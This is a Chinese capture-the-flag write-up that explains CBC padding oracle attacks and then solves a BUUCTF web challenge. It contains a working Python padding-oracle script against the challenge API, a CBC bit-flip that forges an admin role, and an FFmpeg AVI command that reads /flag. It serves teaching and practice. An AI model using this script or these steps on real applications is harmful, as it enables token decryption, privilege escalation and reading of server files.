上学期学密码学的时候碰到过这个东西,当时看过了但是似懂非懂,前几天去沈阳打半决赛刚好碰到了相关题目,当场自闭,在BUUCTF上又碰到了这题,嚯嚯嚯,找到出题人了,打!
把这个题重新做了,理解/记录一下原理
1.前置知识
1.1 Padding
分组密码需要每个组的长度都是分组长度的整数倍,一般情况下,明文的最后一个分组很有可能会出现长度不足分组的长度,这个时候,普遍的做法是在最后一个分组后填充一个固定的值,这个值的大小为填充的字节总数。例如,最后还差3个字符,则填充3个0×03。
这种Padding原则遵循的是常见的PKCS#5标准,似乎PKCS#7跟PKCS#5区别并不大,二者基本通用,不过这并不是重点,感兴趣的小伙伴可以查一查。
1.2 CBC模式
CBC是一种分组模式,全名Cipher Block Chaining,这种模式是先将明文切分成若干小段,然后每一小段与初始向量IV或者上一段的密文段进行异或运算后,再使用密钥进行加密,这样一来,每次加密的结果会影响到下一次加密,形成“雪崩效应”,加/解密过程详情见图:
加密过程
解密过程
2.攻击原理
首先,攻击成立有两个重要条件:
1.攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(一般IV都会附在密文之前,IV本身是无需保密的)
2.攻击者能够触发密文的解密过程,且能够知道密文的解密结果
关于条件2的具体情况,在后面讲解
这里要注意,前几个分组的解密结果对我们都没有意义,我们重点关注的是最后一个分组的解密结果(这里方便起见使用了块长度为8进行描述,最常见的块长度为16):
注意到最后一个分组的末尾有4个0×04,这就是进行的Padding以保证每一组的长度相等。如果最后的Padding不正确(值和数量不一致),则解密程序往往会抛出异常(Padding Error)。如果不能正确捕获、处理该异常,则会表现出不同的错误回显,而利用应用的错误回显,我们就可以判断出Paddig是否正确。
这种漏洞不能算是密码学算法本身的漏洞,但是当这种算法在实际生产环境中使用不当就会造成问题。
感觉它的思想跟盲注差不多,属于一种二值逻辑,关键是要找到一个”区分点”,即能被攻击者用来区分其输入是否达到了目的(在这里就是寻找正确的IV)。
比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的”注入点”。
以上就是之前提到的条件2的具体情况
2.1 Padding 1
假如,有这样一个应用,需要提交如下请求:
url?UID=0000000000000000F851D6CC68FC9537
前16个0为IV,后16个字母为密文
我们提交请求,得到响应为500
Request: url?UID=0000000000000000F851D6CC68FC9537
Respose: 500 - Internal Server Error
则是在解密过程中发生padding不一致
接下来,我们不断地调整IV最后一个字节的值,以希望解密后,最后一个字节的值为正确的值,此处为0x01,因为Intermediary Value是固定的(我们此时不知道Intermediary Value),因此从0×00~0xFF之间,只可能有一个值与Intermediary Value的最后一个字节进行XOR后,结果是0×01,所以我们可以通过遍历这255个值,来寻找可以使解密结果为0x01的IV值,假如这个值是0x66,则在我们提交以下请求时:
Request: url?UID=0000000000000066F851D6CC68FC9537
Respose: 200 OK
得到的不再是500的响应码,这说明padding正确,而根据异或的性质,A^B=C,则A=B^C,我们可以求得Intermediary Value[8]为 0x66^0x01=0x67:
既然我们得到了Intermediary Value[8],同时拥有真实的IV(前面提到的一般附在密文之前的),那么我们可以通过二者异或,得到真实的明文
2.1 Padding 2
要进行第二位的推导,我们需要最后两位解密后均为0x02,我们前面已经得到了Intermediary Value[8]为0x67,则首先使IV[8]=0x67^0x02=0x65,接下来依旧是按照第一步的方法进行遍历尝试,假如在提交
Request: url?UID=0000000000007065F851D6CC68FC9537
后不再是padding错误,则Intermediary Value[7]=0x70^0x02=0x72,明文倒数第二个字节为 0x72^真实IV倒数的第二个字节
以此类推,重复上述过程直到将这个分组的明文都推断出来
以上是一组密文的解密,如果是多组密文(密文总长度大于块长度),分别对每一组按照一组密文的情况进行推导即可,因为我们提交的形式始终是 自己构造的IV+要破解的密文块,自己构造的IV与原本的IV或者第n-1组密文(对于第n组密文来说,第n-1组密文就是它的IV)无关,所以对每个密文块分别爆破推导即可。
3.实际题目
题目链接:http://web48.buuoj.cn
题目提示:
敏感文件泄露
Padding Oracle
FFMpeg
打开题目,是一个登录页面
没有发现注册页面,根据提示先扫一波目录
找到robots.txt
访问之后发现是一些可调用的api
尝试注册一波:
然后向登录api提交,发现返回了一个token:
base64解码之后是如下形式的键值对:
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYgcWeHZAAsl7I39gQp8P306kwwc7kIkthCUolS62gB655HUZFMJvbaTFiun8fFQQR7/8emdK3SSPUVkYRD1KfW2V7cZKFK5wg9ZjzACrVk1ZQ==","role":3,"user_id":4,"payload":"T4jS2jVTXJ4QedO46O86r5LFcZPhC4m9","expire_in":1562851802}
其中的signed_key再次base64解码后是一堆无意义的字符
用注册好的账号尝试从最开始的页面登陆,发现提示权限不足
(别问为什么用户名不一样了,问就是不小心玩崩了重新注册了一个)
抓包看一下,发现其中经过了两步:
第一步,向我们上面尝试过的login api提交账号密码,获得token
第二步,将获得的token作为头部的Key属性,请求/frontend/api/v1/user/info,返回user_role和uid,user_role应该就是代表了权限不足的角色
提示二是Padding Oracle,我们再来看一下之前得到的token,signed_key进行base64解码后如下:
前面一部分是字母,后面是乱码,推测这里可以进行Padding Oracle Attack来还原明文,前十六个字母为IV,后面部分为密文
刚开始用脚本测试时有大量状态码为429的响应,搜了一下:
设置一下sleep(0.05)即可(后来问出题人,说限制了每秒30次提交)
正常后返回大量{"code":205},推测此时发生padding错误
脚本(因为限制了每秒访问次数,所以爆破的很慢):
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019-07-11 12:06 # @Author : Eustiar # @File : paddingoracle.py import base64 import requests import json import time def xor(str1, str2): return ''.join([chr(ord(str1[i]) ^ ord(str2[i])) for i in range(len(str1))]) def attack(raw): data = base64.b64decode(raw) js = json.loads(data) signed_key = base64.b64decode(js['signed_key']) N = 16 url = 'http://web48.buuoj.cn/frontend/api/v1/user/info' blocknum = len(signed_key) // N - 1 plaintext = '' for block in range(blocknum): current_iv = signed_key[block * 16:block * 16 + 16] cipher = signed_key[block * 16 + 16:block * 16 + 32] tmp_value = '' for i in range(1, N + 1): length = len(tmp_value) for j in range(256): time.sleep(0.05) padding = xor(tmp_value, chr(i) * (i - 1)) new_iv = chr(0) * (N - i) + chr(j) + padding token = base64.b64encode(new_iv.encode('iso-8859-1') + cipher) js['signed_key'] = token.decode('utf8') header = {'Key':base64.b64encode(json.dumps(js).encode('utf8'))} res = requests.get(url, headers=header) # print(res.text) if res.text != '{"code":205}': print(j) tmp_value = chr(j ^ i) + tmp_value break # break if len(tmp_value) == length: print('第{}块第{}位出错'.format(block+1, i)) exit() # break plain = xor(tmp_value, current_iv.decode('iso-8859-1')) print(plain) plaintext += plain print(plaintext) if __name__ == '__main__': attack('eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZZ2NXZUhaQUFzbDdJMzlnUXA4UDMwNkpQSU1tTFR4cWNlclZLNVJIdEl0VnpVL0cvYWc2eEdsSU0zS2d2ZVlodUVCOFRRUzNqSU9ZdVhsb3o0UU9OZjB0WllGYmhYSDJVVm5YODBGNmdMRTlnPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjo0LCJwYXlsb2FkIjoiZnNkVUZEa2NzYWpxRVBoUnJOdDd0dDFkN1laWFpxUGsiLCJleHBpcmVfaW4iOjE1NjI4NTI2MDh9')
这里我要吐槽一下,最开始我在encode/decode的时候都是用的utf8,在跑脚本的时候发现只能爆出第一块密文块的明文,之后所有块任意字节都会padding错误,后来de了很久bug才发现:
在ascii>127的情况下,utf8编码为两字节。。。
改成iso-8859-1脚本就正常工作了
得到:
我们并不知道秘钥,为了使role变为有权限的用户,猜测比如1,可以采用CBC字节翻转攻击,原理可以自行google,也可以看我之前写的这篇文章
role在第一个密文块,修改IV对应位即可,注意signed_key中的role也要修改
将IV的第九个字节D修改为chr(ord('D')^ord('3')^ord('1'))=F,重新base64编码后放入cookie
刷新后进入admin面板
第三个提示为FFMpeg,想到FFMpeg之前爆出的读任意文件漏洞,刚好admin面板有上传视频的功能,使用工具生成读取flag的avi文件:
python3 ./gen_xbin_avi.py file:///flag file_read.avi
上传后下载:
在第一帧可以得到flag:
参考:
https://www.freebuf.com/articles/web/15504.html
https://www.zhaoj.in/read-6057.html